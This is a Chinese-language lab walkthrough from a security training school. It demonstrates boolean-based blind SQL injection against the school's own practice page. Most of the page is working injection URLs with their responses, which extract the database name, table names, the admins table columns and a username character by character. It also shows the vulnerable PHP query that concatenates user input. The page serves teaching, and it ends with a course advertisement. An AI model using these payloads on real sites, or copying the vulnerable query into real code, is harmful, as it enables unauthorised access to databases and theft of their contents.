MYSQL 布尔型注入 实例演示 答案解析
以下信息调试输出,帮助您理解SQL注入,正常网站不显示
select * from admins where id = '1'
最美学生

什么是SQL注入
- (SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。
1,是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击
2,这些参数传递给后台的SQL数据库服务器加以解析并执行

-- 按数据类型分类,
1,分为 整形注入 整型注入 (不需要闭合,大多数不需要注释符号)
2,字符串类型注入 (需要闭合,或者需要注释)

-- 按注入语法分类,
1,UNION query SQL injection(可联合查询注入)
2,Error-based SQL injection(报错型注入)
3,Boolean-based blind SQL injection(布尔型注入)
4,Time-based blind SQL injection(基于时间延迟注入)
5,Stacked queries SQL injection(可多语句查询注入)
http://www.nanhack.com/payload/sql/bool.php?id=1 and 1=1 页面正常
http://www.nanhack.com/payload/sql/bool.php?id=1 and 1=2 页面正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and 1=1 --+ 页面正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and 1=2 --+ 页面不正常
说明后台sql语句再接受id这个参数的时候,并没有给参数添加引号,所以 1=1(真)和 1=2(假)生效了。如下
$id = $_GET['id'];
$sql = "select * from admins where id = '$id'";
#所以加上 and 1=1 语句就变为:
select * from admins where id = '1' and 1=1 --+' #为真有数据
select * from admins where id = '1' and 1=2 --+' #为假查不到数据
根据以上内容确定,本页面注入类型为字符型注入的布尔型注入。
布尔型注入根据页面的变化来判断
这里用到的函数有ascii(),substr(),length()
ascii()函数:返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
substr() 函数: substr(string, num start, num length) string 为字符串; start为起始位置;1,length为长度。
length() 函数:获取字符串的长度
判断显示位:
http://www.nanhack.com/payload/sql/bool.php?id=1' order by 8--+ #正常
http://www.nanhack.com/payload/sql/bool.php?id=1' order by 9--+ #不正常,则显示位为8

联合查询
http://www.nanhack.com/payload/sql/bool.php?id=-1' UNION SELECT 1,2,3,4,5,6,7,8--+
# 执行后发现本页面没有显示位,不能用联合查询注入,所以只能根据页面的显示状态来判断

获取数据库名字长度
http://www.nanhack.com/payload/sql/bool.php?id=1' and length(database())>0 --+
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and length(database())>7 --+ #页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and length(database())=7 --+ #页面正常
#得到数据库名字长度是7

获取数据库名字
# 使用二分法判断,取ascii表 32和127的中间值 79来做判断
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(database(),1,1))>79 --+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(database(),1,1))>110 --+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(database(),1,1))=110 --+ #页面正常
#得到数据库名字的第一个字符ascii值是110,查看如下表格
ascii码表 # 发现 110 是字母n 继续第二个字母 http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(database(),2,1))>79 --+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(database(),2,1))>97 --+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(database(),2,1))=97 --+ #页面正常
#得到数据库名字的第二个字符ascii值是97,查看如下表格
# 查表得到97是字母a
# 依次类推,得到数据库名字是:nanhack

获取数据库nanhack中表的数量
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(*) from information_schema.tables where table_schema=database())>7--+ # 页面正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(*) from information_schema.tables where table_schema=database())>8--+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(*) from information_schema.tables where table_schema=database())=8--+ # 页面正常
# 得到 表的数量为 8

获取 数据库 nanhack 中的第一个表的长度
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>9--+ # 页面正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10--+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=10--+ # 页面正常
# 得到 表名的长度是10

获取 数据库 nanhack 中的第一个表的名字
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>79--+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97--+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=97--+ # 页面正常
# 得到 表名的第一个字符的ascii值是 97 ,查表得到a
开始确定第二个字符
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>79--+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100--+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=100--+ # 页面正常
# 得到 表名的第一个字符的ascii值是 100 ,查表得到d
# 依次类推得到表名 是 admin_logs
# 依次类推在查询第二个表、第三个表,最终找到表名为admins表

获取 数据库 nanhack 中表 admins 中列的数量
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='admins')>0 --+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='admins')>8 --+ --+ 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='admins')=8 --+ 页面正常
# 得到表 admins 列的数量是 8

获取 表 admins 第一个列的长度
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1))>0 --+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1))>2 --+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1))=2 --+ # 页面正常
# 得到表 admins 第一个列的长度是 2

获取 表 admins 第一个列的字符
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1),1,1))>79 --+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1),1,1))>105 --+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='admins' limit 0,1),1,1))=105 --+ # 页面正常
# 得到表 admins 第一个列的第一个字符的ascii值是i
依次类推得到 第一个列是id
用同样方法得到其他的列:username,userpwd 等

获取 表 admins 第一条 username 数据的长度
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select username from admins limit 0,1))>0 --+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select username from admins limit 0,1))>18 --+ # 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and length((select username from admins limit 0,1))=18 --+ 页面正常
# 得到表 admins 第一个列的第一条数据字符长度是18(注意:有可能是中文,一个中文长度为3,所以这里有可能是6个中文)

获取 表 admins 第一条 username 数据的第一个字符
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select username from admins limit 0,1)),1,1))>0 --+ # 页面正常
...
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr((select username from admins limit 0,1),1,1))>127 --+ # 页面正常
# ascii值大于127 还正常,说明此字符是中文。 则先把中文转成hex,转成hex后总字符长度是36. http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(hex((select username from admins limit 0,1)),1,1))>79 --+ 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(hex((select username from admins limit 0,1)),1,1))>69 --+ 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(hex((select username from admins limit 0,1)),1,1))=69 --+ 页面正常
# 得到表 admins 第一个列的第一条数据第一个字符的HEX第一个字符的ascii值是69,查表得到 E
# 查询第二个字符 http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(hex((select username from admins limit 0,1)),2,1))>79 --+ 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(hex((select username from admins limit 0,1)),2,1))>53 --+ 页面不正常
http://www.nanhack.com/payload/sql/bool.php?id=1' and ascii(substr(hex((select username from admins limit 0,1)),2,1))=53 --+ 页面正常
# 得到表 admins 第一个列的第一条数据第二个字符的HEX第一个字符的ascii值是53,查表得到 5
依次类推,最终确定所有字符是:E5BF85E781ABE7BD91E7BB9CE5AE89E585A8
使用工具解码(http://stool.chinaz.com/hex)得到六个字符为:必火网络安全
布尔型注入解析到此为止,数据不是中文那就容易多了,如果有不懂的地方可以加页面底部的QQ群。
必火安全祝您学习愉快,有想学习安全的亲戚朋友、或者薪资低想转行的大学毕业生,可以推荐到必火来,必火网络安全教学可靠、就业无忧

必火安全学院

报名微信:nvhack



© Copyright 2021 版权所有(一极教育科技有限公司)   津公网安备 12011602000477号 津ICP备17008032号-2   网络安全培训、企业合作、院校合作: 15320004362(手机同微信)